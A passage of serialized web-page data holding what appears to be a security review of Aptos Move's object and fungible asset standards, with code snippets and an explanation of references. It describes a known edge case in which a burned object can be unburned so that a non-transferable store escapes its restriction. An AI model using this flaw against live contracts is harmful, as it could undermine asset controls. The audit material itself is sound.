non-transferability.",{"type":20,"tag":305,"props":62857,"children":62859},{"className":1360,"code":62858,"language":1359,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[62860],{"type":20,"tag":119,"props":62861,"children":62862},{"__ignoreMap":7},[62863,62921,62974,63018,63066,63073,63118,63126],{"type":20,"tag":315,"props":62864,"children":62865},{"class":317,"line":318},[62866,62870,62874,62879,62883,62888,62892,62896,62900,62904,62909,62913,62917],{"type":20,"tag":315,"props":62867,"children":62868},{"style":635},[62869],{"type":26,"value":59929},{"type":20,"tag":315,"props":62871,"children":62872},{"style":635},[62873],{"type":26,"value":4601},{"type":20,"tag":315,"props":62875,"children":62876},{"style":345},[62877],{"type":26,"value":62878}," untransferable_transfer",{"type":20,"tag":315,"props":62880,"children":62881},{"style":328},[62882],{"type":26,"value":1049},{"type":20,"tag":315,"props":62884,"children":62885},{"style":635},[62886],{"type":26,"value":62887},"caller",{"type":20,"tag":315,"props":62889,"children":62890},{"style":334},[62891],{"type":26,"value":2884},{"type":20,"tag":315,"props":62893,"children":62894},{"style":334},[62895],{"type":26,"value":5536},{"type":20,"tag":315,"props":62897,"children":62898},{"style":635},[62899],{"type":26,"value":5541},{"type":20,"tag":315,"props":62901,"children":62902},{"style":328},[62903],{"type":26,"value":44},{"type":20,"tag":315,"props":62905,"children":62906},{"style":635},[62907],{"type":26,"value":62908},"receipient",{"type":20,"tag":315,"props":62910,"children":62911},{"style":334},[62912],{"type":26,"value":2884},{"type":20,"tag":315,"props":62914,"children":62915},{"style":635},[62916],{"type":26,"value":4644},{"type":20,"tag":315,"props":62918,"children":62919},{"style":328},[62920],{"type":26,"value":549},{"type":20,"tag":315,"props":62922,"children":62923},{"class":317,"line":356},[62924,62928,62933,62937,62941,62945,62950,62954,62958,62962,62966,62970],{"type":20,"tag":315,"props":62925,"children":62926},{"style":541},[62927],{"type":26,"value":1380},{"type":20,"tag":315,"props":62929,"children":62930},{"style":635},[62931],{"type":26,"value":62932}," constructor_ref",{"type":20,"tag":315,"props":62934,"children":62935},{"style":334},[62936],{"type":26,"value":1395},{"type":20,"tag":315,"props":62938,"children":62939},{"style":328},[62940],{"type":26,"value":60748},{"type":20,"tag":315,"props":62942,"children":62943},{"style":334},[62944],{"type":26,"value":1861},{"type":20,"tag":315,"props":62946,"children":62947},{"style":345},[62948],{"type":26,"value":62949},"create_object",{"type":20,"tag":315,"props":62951,"children":62952},{"style":328},[62953],{"type":26,"value":5595},{"type":20,"tag":315,"props":62955,"children":62956},{"style":334},[62957],{"type":26,"value":1861},{"type":20,"tag":315,"props":62959,"children":62960},{"style":345},[62961],{"type":26,"value":5604},{"type":20,"tag":315,"props":62963,"children":62964},{"style":328},[62965],{"type":26,"value":1049},{"type":20,"tag":315,"props":62967,"children":62968},{"style":635},[62969],{"type":26,"value":62887},{"type":20,"tag":315,"props":62971,"children":62972},{"style":328},[62973],{"type":26,"value":5618},{"type":20,"tag":315,"props":62975,"children":62976},{"class":317,"line":365},[62977,62981,62985,62989,62993,62997,63002,63006,63010,63014],{"type":20,"tag":315,"props":62978,"children":62979},{"style":541},[62980],{"type":26,"value":1380},{"type":20,"tag":315,"props":62982,"children":62983},{"style":635},[62984],{"type":26,"value":62335},{"type":20,"tag":315,"props":62986,"children":62987},{"style":334},[62988],{"type":26,"value":1395},{"type":20,"tag":315,"props":62990,"children":62991},{"style":328},[62992],{"type":26,"value":60748},{"type":20,"tag":315,"props":62994,"children":62995},{"style":334},[62996],{"type":26,"value":1861},{"type":20,"tag":315,"props":62998,"children":62999},{"style":345},[63000],{"type":26,"value":63001},"address_from_constructor_ref",{"type":20,"tag":315,"props":63003,"children":63004},{"style":328},[63005],{"type":26,"value":1049},{"type":20,"tag":315,"props":63007,"children":63008},{"style":334},[63009],{"type":26,"value":1490},{"type":20,"tag":315,"props":63011,"children":63012},{"style":635},[63013],{"type":26,"value":61182},{"type":20,"tag":315,"props":63015,"children":63016},{"style":328},[63017],{"type":26,"value":2214},{"type":20,"tag":315,"props":63019,"children":63020},{"class":317,"line":374},[63021,63025,63029,63033,63038,63042,63046,63050,63054,63058,63062],{"type":20,"tag":315,"props":63022,"children":63023},{"style":541},[63024],{"type":26,"value":1380},{"type":20,"tag":315,"props":63026,"children":63027},{"style":635},[63028],{"type":26,"value":4224},{"type":20,"tag":315,"props":63030,"children":63031},{"style":334},[63032],{"type":26,"value":1395},{"type":20,"tag":315,"props":63034,"children":63035},{"style":328},[63036],{"type":26,"value":63037}," primary_fungible_store",{"type":20,"tag":315,"props":63039,"children":63040},{"style":334},[63041],{"type":26,"value":1861},{"type":20,"tag":315,"props":63043,"children":63044},{"style":345},[63045],{"type":26,"value":61074},{"type":20,"tag":315,"props":63047,"children":63048},{"style":328},[63049],{"type":26,"value":1049},{"type":20,"tag":315,"props":63051,"children":63052},{"style":635},[63053],{"type":26,"value":62381},{"type":20,"tag":315,"props":63055,"children":63056},{"style":328},[63057],{"type":26,"value":44},{"type":20,"tag":315,"props":63059,"children":63060},{"style":345},[63061],{"type":26,"value":61030},{"type":20,"tag":315,"props":63063,"children":63064},{"style":328},[63065],{"type":26,"value":13826},{"type":20,"tag":315,"props":63067,"children":63068},{"class":317,"line":383},[63069],{"type":20,"tag":315,"props":63070,"children":63071},{"emptyLinePlaceholder":15},[63072],{"type":26,"value":427},{"type":20,"tag":315,"props":63074,"children":63075},{"class":317,"line":407},[63076,63081,63085,63090,63094,63098,63102,63106,63110,63114],{"type":20,"tag":315,"props":63077,"children":63078},{"style":328},[63079],{"type":26,"value":63080}," object",{"type":20,"tag":315,"props":63082,"children":63083},{"style":334},[63084],{"type":26,"value":1861},{"type":20,"tag":315,"props":63086,"children":63087},{"style":345},[63088],{"type":26,"value":63089},"transfer_raw",{"type":20,"tag":315,"props":63091,"children":63092},{"style":328},[63093],{"type":26,"value":1049},{"type":20,"tag":315,"props":63095,"children":63096},{"style":635},[63097],{"type":26,"value":62887},{"type":20,"tag":315,"props":63099,"children":63100},{"style":328},[63101],{"type":26,"value":44},{"type":20,"tag":315,"props":63103,"children":63104},{"style":635},[63105],{"type":26,"value":62381},{"type":20,"tag":315,"props":63107,"children":63108},{"style":328},[63109],{"type":26,"value":44},{"type":20,"tag":315,"props":63111,"children":63112},{"style":635},[63113],{"type":26,"value":62908},{"type":20,"tag":315,"props":63115,"children":63116},{"style":328},[63117],{"type":26,"value":2214},{"type":20,"tag":315,"props":63119,"children":63120},{"class":317,"line":421},[63121],{"type":20,"tag":315,"props":63122,"children":63123},{"style":1071},[63124],{"type":26,"value":63125}," //receipient can interact with store by using their signer\n",{"type":20,"tag":315,"props":63127,"children":63128},{"class":317,"line":430},[63129],{"type":20,"tag":315,"props":63130,"children":63131},{"style":328},[63132],{"type":26,"value":577},{"type":20,"tag":29,"props":63134,"children":63135},{},[63136,63138,63145],{"type":26,"value":63137},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":20,"tag":35,"props":63139,"children":63142},{"href":63140,"rel":63141},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[39],[63143],{"type":26,"value":63144},"edge case",{"type":26,"value":63146}," involving the transfer of a non-transferable fungible store.",{"type":20,"tag":305,"props":63148,"children":63150},{"className":1360,"code":63149,"language":1359,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[63151],{"type":20,"tag":119,"props":63152,"children":63153},{"__ignoreMap":7},[63154,63219,63280,63327,63338,63373,63393,63400,63407,63422,63429,63457],{"type":20,"tag":315,"props":63155,"children":63156},{"class":317,"line":318},[63157,63161,63165,63170,63174,63178,63182,63187,63191,63195,63199,63203,63207,63211,63215],{"type":20,"tag":315,"props":63158,"children":63159},{"style":635},[63160],{"type":26,"value":59929},{"type":20,"tag":315,"props":63162,"children":63163},{"style":635},[63164],{"type":26,"value":4601},{"type":20,"tag":315,"props":63166,"children":63167},{"style":345},[63168],{"type":26,"value":63169}," transfer_with_ref",{"type":20,"tag":315,"props":63171,"children":63172},{"style":328},[63173],{"type":26,"value":1049},{"type":20,"tag":315,"props":63175,"children":63176},{"style":541},[63177],{"type":26,"value":61591},{"type":20,"tag":315,"props":63179,"children":63180},{"style":334},[63181],{"type":26,"value":2884},{"type":20,"tag":315,"props":63183,"children":63184},{"style":322},[63185],{"type":26,"value":63186}," LinearTransferRef",{"type":20,"tag":315,"props":63188,"children":63189},{"style":328},[63190],{"type":26,"value":44},{"type":20,"tag":315,"props":63192,"children":63193},{"style":635},[63194],{"type":26,"value":31141},{"type":20,"tag":315,"props":63196,"children":63197},{"style":334},[63198],{"type":26,"value":2884},{"type":20,"tag":315,"props":63200,"children":63201},{"style":635},[63202],{"type":26,"value":4644},{"type":20,"tag":315,"props":63204,"children":63205},{"style":328},[63206],{"type":26,"value":1468},{"type":20,"tag":315,"props":63208,"children":63209},{"style":635},[63210],{"type":26,"value":4738},{"type":20,"tag":315,"props":63212,"children":63213},{"style":322},[63214],{"type":26,"value":62228},{"type":20,"tag":315,"props":63216,"children":63217},{"style":328},[63218],{"type":26,"value":1092},{"type":20,"tag":315,"props":63220,"children":63221},{"class":317,"line":356},[63222,63226,63230,63234,63238,63242,63247,63251,63255,63259,63263,63267,63271,63275],{"type":20,"tag":315,"props":63223,"children":63224},{"style":345},[63225],{"type":26,"value":60598},{"type":20,"tag":315,"props":63227,"children":63228},{"style":328},[63229],{"type":26,"value":1049},{"type":20,"tag":315,"props":63231,"children":63232},{"style":334},[63233],{"type":26,"value":19025},{"type":20,"tag":315,"props":63235,"children":63236},{"style":635},[63237],{"type":26,"value":5099},{"type":20,"tag":315,"props":63239,"children":63240},{"style":328},[63241],{"type":26,"value":4199},{"type":20,"tag":315,"props":63243,"children":63244},{"style":322},[63245],{"type":26,"value":63246},"Untransferable",{"type":20,"tag":315,"props":63248,"children":63249},{"style":328},[63250],{"type":26,"value":6006},{"type":20,"tag":315,"props":63252,"children":63253},{"style":541},[63254],{"type":26,"value":61591},{"type":20,"tag":315,"props":63256,"children":63257},{"style":334},[63258],{"type":26,"value":61},{"type":20,"tag":315,"props":63260,"children":63261},{"style":541},[63262],{"type":26,"value":12114},{"type":20,"tag":315,"props":63264,"children":63265},{"style":328},[63266],{"type":26,"value":61187},{"type":20,"tag":315,"props":63268,"children":63269},{"style":334},[63270],{"type":26,"value":1861},{"type":20,"tag":315,"props":63272,"children":63273},{"style":345},[63274],{"type":26,"value":62073},{"type":20,"tag":315,"props":63276,"children":63277},{"style":328},[63278],{"type":26,"value":63279},"(ENOT_MOVABLE));\n",{"type":20,"tag":315,"props":63281,"children":63282},{"class":317,"line":365},[63283,63287,63291,63295,63299,63303,63307,63311,63315,63319,63323],{"type":20,"tag":315,"props":63284,"children":63285},{"style":541},[63286],{"type":26,"value":1380},{"type":20,"tag":315,"props":63288,"children":63289},{"style":635},[63290],{"type":26,"value":60748},{"type":20,"tag":315,"props":63292,"children":63293},{"style":334},[63294],{"type":26,"value":1395},{"type":20,"tag":315,"props":63296,"children":63297},{"style":635},[63298],{"type":26,"value":5992},{"type":20,"tag":315,"props":63300,"children":63301},{"style":328},[63302],{"type":26,"value":4199},{"type":20,"tag":315,"props":63304,"children":63305},{"style":322},[63306],{"type":26,"value":62723},{"type":20,"tag":315,"props":63308,"children":63309},{"style":328},[63310],{"type":26,"value":6006},{"type":20,"tag":315,"props":63312,"children":63313},{"style":541},[63314],{"type":26,"value":61591},{"type":20,"tag":315,"props":63316,"children":63317},{"style":334},[63318],{"type":26,"value":61},{"type":20,"tag":315,"props":63320,"children":63321},{"style":541},[63322],{"type":26,"value":12114},{"type":20,"tag":315,"props":63324,"children":63325},{"style":328},[63326],{"type":26,"value":2214},{"type":20,"tag":315,"props":63328,"children":63329},{"class":317,"line":374},[63330,63334],{"type":20,"tag":315,"props":63331,"children":63332},{"style":345},[63333],{"type":26,"value":60598},{"type":20,"tag":315,"props":63335,"children":63336},{"style":328},[63337],{"type":26,"value":353},{"type":20,"tag":315,"props":63339,"children":63340},{"class":317,"line":383},[63341,63346,63350,63355,63359,63364,63368],{"type":20,"tag":315,"props":63342,"children":63343},{"style":635},[63344],{"type":26,"value":63345}," object",{"type":20,"tag":315,"props":63347,"children":63348},{"style":334},[63349],{"type":26,"value":61},{"type":20,"tag":315,"props":63351,"children":63352},{"style":328},[63353],{"type":26,"value":63354},"owner ",{"type":20,"tag":315,"props":63356,"children":63357},{"style":334},[63358],{"type":26,"value":538},{"type":20,"tag":315,"props":63360,"children":63361},{"style":541},[63362],{"type":26,"value":63363}," ref",{"type":20,"tag":315,"props":63365,"children":63366},{"style":334},[63367],{"type":26,"value":61},{"type":20,"tag":315,"props":63369,"children":63370},{"style":328},[63371],{"type":26,"value":63372},"owner,\n",{"type":20,"tag":315,"props":63374,"children":63375},{"class":317,"line":407},[63376,63381,63385,63389],{"type":20,"tag":315,"props":63377,"children":63378},{"style":328},[63379],{"type":26,"value":63380}," error",{"type":20,"tag":315,"props":63382,"children":63383},{"style":334},[63384],{"type":26,"value":1861},{"type":20,"tag":315,"props":63386,"children":63387},{"style":345},[63388],{"type":26,"value":62073},{"type":20,"tag":315,"props":63390,"children":63391},{"style":328},[63392],{"type":26,"value":62757},{"type":20,"tag":315,"props":63394,"children":63395},{"class":317,"line":421},[63396],{"type":20,"tag":315,"props":63397,"children":63398},{"style":328},[63399],{"type":26,"value":42076},{"type":20,"tag":315,"props":63401,"children":63402},{"class":317,"line":430},[63403],{"type":20,"tag":315,"props":63404,"children":63405},{"style":328},[63406],{"type":26,"value":60040},{"type":20,"tag":315,"props":63408,"children":63409},{"class":317,"line":453},[63410,63414,63418],{"type":20,"tag":315,"props":63411,"children":63412},{"style":328},[63413],{"type":26,"value":60972},{"type":20,"tag":315,"props":63415,"children":63416},{"style":334},[63417],{"type":26,"value":7990},{"type":20,"tag":315,"props":63419,"children":63420},{"style":328},[63421],{"type":26,"value":10173},{"type":20,"tag":315,"props":63423,"children":63424},{"class":317,"line":486},[63425],{"type":20,"tag":315,"props":63426,"children":63427},{"style":328},[63428],{"type":26,"value":60040},{"type":20,"tag":315,"props":63430,"children":63431},{"class":317,"line":499},[63432,63436,63440,63444,63448,63453],{"type":20,"tag":315,"props":63433,"children":63434},{"style":635},[63435],{"type":26,"value":63080},{"type":20,"tag":315,"props":63437,"children":63438},{"style":334},[63439],{"type":26,"value":61},{"type":20,"tag":315,"props":63441,"children":63442},{"style":328},[63443],{"type":26,"value":63354},{"type":20,"tag":315,"props":63445,"children":63446},{"style":334},[63447],{"type":26,"value":337},{"type":20,"tag":315,"props":63449,"children":63450},{"style":635},[63451],{"type":26,"value":63452}," to",{"type":20,"tag":315,"props":63454,"children":63455},{"style":328},[63456],{"type":26,"value":1405},{"type":20,"tag":315,"props":63458,"children":63459},{"class":317,"line":513},[63460],{"type":20,"tag":315,"props":63461,"children":63462},{"style":328},[63463],{"type":26,"value":577},{"type":20,"tag":29,"props":63465,"children":63466},{},[63467,63469,63474,63476,63481],{"type":26,"value":63468},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":20,"tag":119,"props":63470,"children":63472},{"className":63471},[],[63473],{"type":26,"value":62126},{"type":26,"value":63475},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":20,"tag":119,"props":63477,"children":63479},{"className":63478},[],[63480],{"type":26,"value":5541},{"type":26,"value":63482}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":20,"tag":219,"props":63484,"children":63486},{"id":63485},"references",[63487],{"type":26,"value":63488},"References",{"type":20,"tag":29,"props":63490,"children":63491},{},[63492,63497,63499,63505,63507,63512,63514,63519],{"type":20,"tag":119,"props":63493,"children":63495},{"className":63494},[],[63496],{"type":26,"value":63488},{"type":26,"value":63498}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":20,"tag":119,"props":63500,"children":63502},{"className":63501},[],[63503],{"type":26,"value":63504},"Refs",{"type":26,"value":63506}," are based on the ",{"type":20,"tag":119,"props":63508,"children":63510},{"className":63509},[],[63511],{"type":26,"value":47102},{"type":26,"value":63513}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":20,"tag":119,"props":63515,"children":63517},{"className":63516},[],[63518],{"type":26,"value":47102},{"type":26,"value":63520}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":20,"tag":29,"props":63522,"children":63523},{},[63524,63526,63531,63533,63538,63539,63545,63547,63552,63554,63559],{"type":26,"value":63525},"Let's get back to the ",{"type":20,"tag":119,"props":63527,"children":63529},{"className":63528},[],[63530],{"type":26,"value":60330},{"type":26,"value":63532}," deletion example. Both ",{"type":20,"tag":119,"props":63534,"children":63536},{"className":63535},[],[63537],{"type":26,"value":61615},{"type":26,"value":9392},{"type":20,"tag":119,"props":63540,"children":63542},{"className":63541},[],[63543],{"type":26,"value":63544},"fungible_asset::remove_store",{"type":26,"value":63546}," use the same object-specific ",{"type":20,"tag":119,"props":63548,"children":63550},{"className":63549},[],[63551],{"type":26,"value":61547},{"type":26,"value":63553}," permission. It can be created only during object creation. There is no separate ",{"type":20,"tag":119,"props":63555,"children":63557},{"className":63556},[],[63558],{"type":26,"value":61547},{"type":26,"value":63560}," for fungible assets.",{"type":20,"tag":305,"props":63562,"children":63563},{"className":1360,"code":61497,"language":1359,"meta":7,"style":7},[63564],{"type":20,"tag":119,"props":63565,"children":63566},{"__ignoreMap":7},[63567,63574,63613,63620,63627],{"type":20,"tag":315,"props":63568,"children":63569},{"class":317,"line":318},[63570],{"type":20,"tag":315,"props":63571,"children":63572},{"style":1071},[63573],{"type":26,"value":61509},{"type":20,"tag":315,"props":63575,"children":63576},{"class":317,"line":356},[63577,63581,63585,63589,63593,63597,63601,63605,63609],{"type":20,"tag":315,"props":63578,"children":63579},{"style":635},[63580],{"type":26,"value":59929},{"type":20,"tag":315,"props":63582,"children":63583},{"style":635},[63584],{"type":26,"value":4601},{"type":20,"tag":315,"props":63586,"children":63587},{"style":345},[63588],{"type":26,"value":61525},{"type":20,"tag":315,"props":63590,"children":63591},{"style":328},[63592],{"type":26,"value":1049},{"type":20,"tag":315,"props":63594,"children":63595},{"style":635},[63596],{"type":26,"value":61534},{"type":20,"tag":315,"props":63598,"children":63599},{"style":334},[63600],{"type":26,"value":2884},{"type":20,"tag":315,"props":63602,"children":63603},{"style":334},[63604],{"type":26,"value":5536},{"type":20,"tag":315,"props":63606,"children":63607},{"style":322},[63608],{"type":26,"value":61547},{"type":20,"tag":315,"props":63610,"children":63611},{"style":328},[63612],{"type":26,"value":380},{"type":20,"tag":315,"props":63614,"children":63615},{"class":317,"line":365},[63616],{"type":20,"tag":315,"props":63617,"children":63618},{"emptyLinePlaceholder":15},[63619],{"type":26,"value":427},{"type":20,"tag":315,"props":63621,"children":63622},{"class":317,"line":374},[63623],{"type":20,"tag":315,"props":63624,"children":63625},{"style":1071},[63626],{"type":26,"value":61566},{"type":20,"tag":315,"props":63628,"children":63629},{"class":317,"line":383},[63630,63634,63638,63642,63646,63650,63654,63658],{"type":20,"tag":315,"props":63631,"children":63632},{"style":635},[63633],{"type":26,"value":59929},{"type":20,"tag":315,"props":63635,"children":63636},{"style":635},[63637],{"type":26,"value":4601},{"type":20,"tag":315,"props":63639,"children":63640},{"style":345},[63641],{"type":26,"value":61582},{"type":20,"tag":315,"props":63643,"children":63644},{"style":328},[63645],{"type":26,"value":1049},{"type":20,"tag":315,"props":63647,"children":63648},{"style":541},[63649],{"type":26,"value":61591},{"type":20,"tag":315,"props":63651,"children":63652},{"style":334},[63653],{"type":26,"value":2884},{"type":20,"tag":315,"props":63655,"children":63656},{"style":322},[63657],{"type":26,"value":61600},{"type":20,"tag":315,"props":63659,"children":63660},{"style":328},[63661],{"type":26,"value":380},{"type":20,"tag":29,"props":63663,"children":63664},{},[63665,63667,63672,63674,63680],{"type":26,"value":63666},"On the other hand, the \"frozen\" status of a ",{"type":20,"tag":119,"props":63668,"children":63670},{"className":63669},[],[63671],{"type":26,"value":60330},{"type":26,"value":63673}," is toggled using a ",{"type":20,"tag":119,"props":63675,"children":63677},{"className":63676},[],[63678],{"type":26,"value":63679},"TransferRef",{"type":26,"value":63681},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":20,"tag":305,"props":63683,"children":63685},{"className":1360,"code":63684,"language":1359,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[63686],{"type":20,"tag":119,"props":63687,"children":63688},{"__ignoreMap":7},[63689,63725,63749,63776,63795],{"type":20,"tag":315,"props":63690,"children":63691},{"class":317,"line":318},[63692,63696,63700,63705,63709,63713,63717,63721],{"type":20,"tag":315,"props":63693,"children":63694},{"style":635},[63695],{"type":26,"value":59929},{"type":20,"tag":315,"props":63697,"children":63698},{"style":635},[63699],{"type":26,"value":4601},{"type":20,"tag":315,"props":63701,"children":63702},{"style":635},[63703],{"type":26,"value":63704}," set_frozen_flag",{"type":20,"tag":315,"props":63706,"children":63707},{"style":328},[63708],{"type":26,"value":4199},{"type":20,"tag":315,"props":63710,"children":63711},{"style":322},[63712],{"type":26,"value":4381},{"type":20,"tag":315,"props":63714,"children":63715},{"style":334},[63716],{"type":26,"value":2884},{"type":20,"tag":315,"props":63718,"children":63719},{"style":635},[63720],{"type":26,"value":4325},{"type":20,"tag":315,"props":63722,"children":63723},{"style":328},[63724],{"type":26,"value":4983},{"type":20,"tag":315,"props":63726,"children":63727},{"class":317,"line":356},[63728,63733,63737,63741,63745],{"type":20,"tag":315,"props":63729,"children":63730},{"style":541},[63731],{"type":26,"value":63732}," ref",{"type":20,"tag":315,"props":63734,"children":63735},{"style":334},[63736],{"type":26,"value":2884},{"type":20,"tag":315,"props":63738,"children":63739},{"style":334},[63740],{"type":26,"value":5536},{"type":20,"tag":315,"props":63742,"children":63743},{"style":322},[63744],{"type":26,"value":63679},{"type":20,"tag":315,"props":63746,"children":63747},{"style":328},[63748],{"type":26,"value":643},{"type":20,"tag":315,"props":63750,"children":63751},{"class":317,"line":365},[63752,63756,63760,63764,63768,63772],{"type":20,"tag":315,"props":63753,"children":63754},{"style":635},[63755],{"type":26,"value":27829},{"type":20,"tag":315,"props":63757,"children":63758},{"style":334},[63759],{"type":26,"value":2884},{"type":20,"tag":315,"props":63761,"children":63762},{"style":322},[63763],{"type":26,"value":59815},{"type":20,"tag":315,"props":63765,"children":63766},{"style":328},[63767],{"type":26,"value":4199},{"type":20,"tag":315,"props":63769,"children":63770},{"style":322},[63771],{"type":26,"value":4381},{"type":20,"tag":315,"props":63773,"children":63774},{"style":328},[63775],{"type":26,"value":4532},{"type":20,"tag":315,"props":63777,"children":63778},{"class":317,"line":374},[63779,63783,63787,63791],{"type":20,"tag":315,"props":63780,"children":63781},{"style":635},[63782],{"type":26,"value":59467},{"type":20,"tag":315,"props":63784,"children":63785},{"style":334},[63786],{"type":26,"value":2884},{"type":20,"tag":315,"props":63788,"children":63789},{"style":322},[63790],{"type":26,"value":10451},{"type":20,"tag":315,"props":63792,"children":63793},{"style":328},[63794],{"type":26,"value":643},{"type":20,"tag":315,"props":63796,"children":63797},{"class":317,"line":383},[63798],{"type":20,"tag":315,"props":63799,"children":63800},{"style":328},[63801],{"type":26,"value":380},{"type":20,"tag":29,"props":63803,"children":63804},{},[63805,63806,63811,63812,63817],{"type":26,"value":15015},{"type":20,"tag":119,"props":63807,"children":63809},{"className":63808},[],[63810],{"type":26,"value":47102},{"type":26,"value":4852},{"type":20,"tag":119,"props":63813,"children":63815},{"className":63814},[],[63816],{"type":26,"value":63679},{"type":26,"value":63818}," is used to transfer object ownership:",{"type":20,"tag":305,"props":63820,"children":63822},{"className":1360,"code":63821,"language":1359,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[63823],{"type":20,"tag":119,"props":63824,"children":63825},{"__ignoreMap":7},[63826,63834,63867,63886],{"type":20,"tag":315,"props":63827,"children":63828},{"class":317,"line":318},[63829],{"type":20,"tag":315,"props":63830,"children":63831},{"style":1071},[63832],{"type":26,"value":63833},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":20,"tag":315,"props":63835,"children":63836},{"class":317,"line":356},[63837,63841,63846,63850,63855,63859,63863],{"type":20,"tag":315,"props":63838,"children":63839},{"style":541},[63840],{"type":26,"value":7800},{"type":20,"tag":315,"props":63842,"children":63843},{"style":322},[63844],{"type":26,"value":63845}," TransferRef",{"type":20,"tag":315,"props":63847,"children":63848},{"style":635},[63849],{"type":26,"value":7809},{"type":20,"tag":315,"props":63851,"children":63852},{"style":635},[63853],{"type":26,"value":63854}," drop",{"type":20,"tag":315,"props":63856,"children":63857},{"style":328},[63858],{"type":26,"value":44},{"type":20,"tag":315,"props":63860,"children":63861},{"style":635},[63862],{"type":26,"value":4334},{"type":20,"tag":315,"props":63864,"children":63865},{"style":328},[63866],{"type":26,"value":1092},{"type":20,"tag":315,"props":63868,"children":63869},{"class":317,"line":365},[63870,63874,63878,63882],{"type":20,"tag":315,"props":63871,"children":63872},{"style":541},[63873],{"type":26,"value":19190},{"type":20,"tag":315,"props":63875,"children":63876},{"style":334},[63877],{"type":26,"value":2884},{"type":20,"tag":315,"props":63879,"children":63880},{"style":635},[63881],{"type":26,"value":4644},{"type":20,"tag":315,"props":63883,"children":63884},{"style":328},[63885],{"type":26,"value":643},{"type":20,"tag":315,"props":63887,"children":63888},{"class":317,"line":374},[63889],{"type":20,"tag":315,"props":63890,"children":63891},{"style":328},[63892],{"type":26,"value":577},{"type":20,"tag":29,"props":63894,"children":63895},{},[63896,63898,63903],{"type":26,"value":63897},"While the fungible asset's ",{"type":20,"tag":119,"props":63899,"children":63901},{"className":63900},[],[63902],{"type":26,"value":63679},{"type":26,"value":63904}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":20,"tag":305,"props":63906,"children":63908},{"className":1360,"code":63907,"language":1359,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[63909],{"type":20,"tag":119,"props":63910,"children":63911},{"__ignoreMap":7},[63912,63920,63928,63959,63986],{"type":20,"tag":315,"props":63913,"children":63914},{"class":317,"line":318},[63915],{"type":20,"tag":315,"props":63916,"children":63917},{"style":1071},[63918],{"type":26,"value":63919},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":20,"tag":315,"props":63921,"children":63922},{"class":317,"line":356},[63923],{"type":20,"tag":315,"props":63924,"children":63925},{"style":1071},[63926],{"type":26,"value":63927},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":20,"tag":315,"props":63929,"children":63930},{"class":317,"line":365},[63931,63935,63939,63943,63947,63951,63955],{"type":20,"tag":315,"props":63932,"children":63933},{"style":541},[63934],{"type":26,"value":7800},{"type":20,"tag":315,"props":63936,"children":63937},{"style":322},[63938],{"type":26,"value":63845},{"type":20,"tag":315,"props":63940,"children":63941},{"style":635},[63942],{"type":26,"value":7809},{"type":20,"tag":315,"props":63944,"children":63945},{"style":635},[63946],{"type":26,"value":63854},{"type":20,"tag":315,"props":63948,"children":63949},{"style":328},[63950],{"type":26,"value":44},{"type":20,"tag":315,"props":63952,"children":63953},{"style":635},[63954],{"type":26,"value":4334},{"type":20,"tag":315,"props":63956,"children":63957},{"style":328},[63958],{"type":26,"value":1092},{"type":20,"tag":315,"props":63960,"children":63961},{"class":317,"line":374},[63962,63966,63970,63974,63978,63982],{"type":20,"tag":315,"props":63963,"children":63964},{"style":635},[63965],{"type":26,"value":59806},{"type":20,"tag":315,"props":63967,"children":63968},{"style":334},[63969],{"type":26,"value":2884},{"type":20,"tag":315,"props":63971,"children":63972},{"style":322},[63973],{"type":26,"value":59815},{"type":20,"tag":315,"props":63975,"children":63976},{"style":328},[63977],{"type":26,"value":4199},{"type":20,"tag":315,"props":63979,"children":63980},{"style":322},[63981],{"type":26,"value":59824},{"type":20,"tag":315,"props":63983,"children":63984},{"style":328},[63985],{"type":26,"value":4386},{"type":20,"tag":315,"props":63987,"children":63988},{"class":317,"line":383},[63989],{"type":20,"tag":315,"props":63990,"children":63991},{"style":328},[63992],{"type":26,"value":577},{"type":20,"tag":29,"props":63994,"children":63995},{},[63996,63998,64004,64006,64012],{"type":26,"value":63997},"Additionally, there are fungible asset-specific references such as ",{"type":20,"tag":119,"props":63999,"children":64001},{"className":64000},[],[64002],{"type":26,"value":64003},"MintRef",{"type":26,"value":64005}," for minting and ",{"type":20,"tag":119,"props":64007,"children":64009},{"className":64008},[],[64010],{"type":26,"value":64011},"BurnRef",{"type":26,"value":64013}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":20,"tag":21,"props":64015,"children":64017},{"id":64016},"dispatchable-fungible-assets",[64018],{"type":26,"value":64019},"Dispatchable fungible 